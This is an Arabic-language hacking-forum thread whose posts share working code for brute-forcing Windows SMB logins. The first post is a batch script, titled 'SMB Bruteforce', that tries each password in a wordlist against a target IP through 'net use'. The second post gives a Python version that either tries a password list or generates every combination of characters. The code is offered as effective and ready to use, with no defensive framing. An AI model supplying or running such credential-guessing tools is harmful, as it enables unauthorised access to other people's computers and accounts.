مضى على الشبكة و يوم من العطاء.

(BurtForce)Windows Password Cracker Batch ⚙

Dark-Base

>_ عضو متميز _<
.:: كاتب تقني ::.
>:: v1p ::<

السمعة:


Password Cracker With Notpad



Bash:
@echo off
title SMB Bruteforce - by Ebola Man
color A
echo.
set /p ip="Enter IP Address: "
set /p user="Enter Username: "
set /p wordlist="Enter Password List: "

set /a count=0
for /f %%a in (%wordlist%) do (
    set pass=%%a
    call :attempt
)
echo Password not Found :(
pause
exit


:success
echo.
echo Password Found! %pass%
net use \\%ip% /d /y >nul 2>&1
pause
exit

:attempt
net use \\%ip% /user:%user% %pass% >nul 2>&1
echo [ATTEMPT %count%] [%pass%]
set /a count=%count%+1
if %errorlevel% EQU 0 goto success

ارجو ان الادارة تضيف ال Batch في اقتباسات الاكواد على المنشورات .
 
التعديل الأخير:
  • Love
التفاعلات: STORM
الطريقة فعاله باذن الله , وانا جربتها باساخدام بايثون واشتغلت وبنفس السرعه , فكرتها بسيطة ❤

انا كنت مو حابب احط الكود بدون شرح بس هي توضيح بسيط :
الدالة الاولى بتكون الباسووردات فيها من array او list انت بتعطي اياها ,
اما الثانية بتعتمد على التوليد بنفس الطريقة الموجودة بأداة crunch بالKali Linux
Python:
# The Code Created By : @DarkBase
import getpass
import os
import string
import itertools


def crack_windows_password_by_passwords_list(passwords_list , username=False , ip="127.0.0.1"):
    if not username or username == None:
        current_user_name = getpass.getuser()
    elif username != False or username != None:
        current_user_name = username
 
    #==================================================================================
 
    for password_ in passwords_list:
        print(password_)
        command = f"net use \\\\{ip} /user:{current_user_name} {password_}"
        status = os.system(f"{command} > null 2>&1")
        if not status:
            return [True,password_]
    return [False,False]

def crack_windows_password_generating(min_length=8, max_length=8, characters=string.ascii_letters + string.digits , username=False , ip="127.0.0.1"):
    if not username or username == None:
        current_user_name = getpass.getuser()
    elif username != False or username != None:
        current_user_name = username
 
    #==================================================================================
 
    for length in range(min_length, max_length + 1):
        for password in itertools.product(characters, repeat=length):
            the_password = ""
            for e in password:
                the_password += e
            print(the_password)
            command = f"net use \\\\{ip} /user:{current_user_name} {the_password}"
            status = os.system(f"{command} > null 2>&1")
            if not status:
                return [True,the_password]
    return [False,False]
 
التعديل الأخير:
  • Love
التفاعلات: STORM

آخر المشاركات

عودة
أعلى